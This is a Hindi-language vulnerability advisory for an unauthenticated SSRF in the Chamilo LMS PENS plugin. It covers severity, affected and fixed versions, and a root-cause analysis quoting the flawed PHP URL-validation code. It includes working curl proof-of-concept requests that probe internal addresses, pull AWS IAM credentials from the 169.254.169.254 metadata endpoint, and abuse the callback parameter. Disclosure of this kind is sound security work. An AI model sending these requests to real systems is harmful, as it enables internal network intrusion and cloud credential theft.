
Chamilo LMS PENS प्लगइन के लिए अनप्रमाणित SSRF एक्सप्लॉइट, जो आंतरिक नेटवर्क और क्लाउड मेटाडेटा तक पहुँचने के दो वेक्टर प्रदर्शित करता है, साथ में PoC और मूल कारण विश्लेषण।
गंभीरता: उच्च (CVSS 8.6)
CWE: CWE-918 (सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी)
प्रभावित: chamilo/chamilo-lms 2.0-RC.2
में ठीक किया गया: 2.0-RC.3
सलाहकारी: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
श्रेय: Romain Deperne
PENS (पैकेज एक्सचेंज नोटिफिकेशन सर्विसेज) प्लगइन एंडपॉइंट public/plugin/Pens/pens.php बिना प्रमाणीकरण के सुलभ है और पैकेज डाउनलोड और कॉलबैक सूचनाओं दोनों के लिए उपयोगकर्ता-नियंत्रित URL स्वीकार करता है। URL सत्यापन फ़ंक्शन योजना और होस्ट की उपस्थिति की जाँच करते हैं लेकिन कोई निजी IP फ़िल्टरिंग नहीं करते, जिससे आंतरिक नेटवर्क और क्लाउड मेटाडेटा सेवाओं में अनधिप्रमाणित SSRF की अनुमति मिलती है।
CVE-2026-33715 के बाद, मैंने नेटवर्क-साइड प्रभावों वाले अन्य अनधिप्रमाणित Chamilo एंडपॉइंट्स की समीक्षा की। PENS प्लगइन (public/plugin/Pens/) बाहरी URL से पैकेज प्राप्त करता है और बाहरी सर्वरों को कॉलबैक भेजता है, जिससे दो SSRF सतहें बनती हैं।
मैंने URL सत्यापन तर्क की तलाश में PensProcessor.php पढ़ा। isAllowedDownloadUrl() और isAllowedCallbackUrl() दोनों योजना (http/https) और गैर-रिक्त होस्ट की जाँच करते हैं — और वहीं रुक जाते हैं। कोई RFC 1918 फ़िल्टरिंग नहीं, कोई लूपबैक जाँच नहीं, कोई लिंक-लोकल जाँच नहीं। टिप्पणी में होस्ट जाँच के बाद "returns true" भी कहा गया है, जिससे यह स्पष्ट हो गया कि यह SSRF को ध्यान में रखे बिना लिखा गया था।
यह पिछले Chamilo CVE से किस प्रकार भिन्न है: इसमें दो स्वतंत्र SSRF वेक्टर हैं — एक पैकेज फ़ेच के लिए (सर्वर हमलावर-नियंत्रित URL से फ़ाइल खींचता है) और एक कॉलबैक के लिए (सर्वर हमलावर-नियंत्रित एंडपॉइंट्स पर POST करता है)। कॉलबैक वेक्टर आंतरिक सेवा प्रतिक्रियाओं को बाहर निकालने के लिए विशेष रूप से उपयोगी है, क्योंकि सर्वर PENS स्थिति डेटा को आपके द्वारा निर्दिष्ट किसी भी URL पर POST करेगा, और प्रतिक्रिया पार्सिंग आपके नियंत्रण में है।
क्लाउड परिनियोजन पर, 169.254.169.254 मेटाडेटा एंडपॉइंट दोनों वेक्टरों के माध्यम से पहुँच योग्य है।
फ़ाइल: public/plugin/Pens/lib/PensProcessor.php
दो अलग SSRF वेक्टर:
वेक्टर 1 — पैकेज URL फ़ेच (पंक्तियाँ 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
वेक्टर 2 — कॉलबैक SSRF (पंक्ति 318): receipt और alerts पैरामीटर उन URL को निर्दिष्ट करते हैं जहाँ सर्वर POST कॉलबैक भेजता है — वही अनुपस्थित सत्यापन।
isAllowedDownloadUrl() और isAllowedCallbackUrl() केवल यह सत्यापित करते हैं कि URL में http/https स्कीम और एक गैर-रिक्त होस्ट है। RFC 1918 निजी रेंज (10.x, 172.16.x, 192.168.x), लूपबैक (127.x), लिंक-लोकल (169.254.x — क्लाउड मेटाडेटा), और IPv6 समकक्ष सभी स्वीकार किए जाते हैं।
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254 के माध्यम से IAM क्रेडेंशियल प्राप्त करनानोट: यह CVE-2022-27426 (social/links टूल्स में SSRF) से भिन्न है — अलग कोड पथ, अलग प्लगइन, बिना प्रमाणीकरण।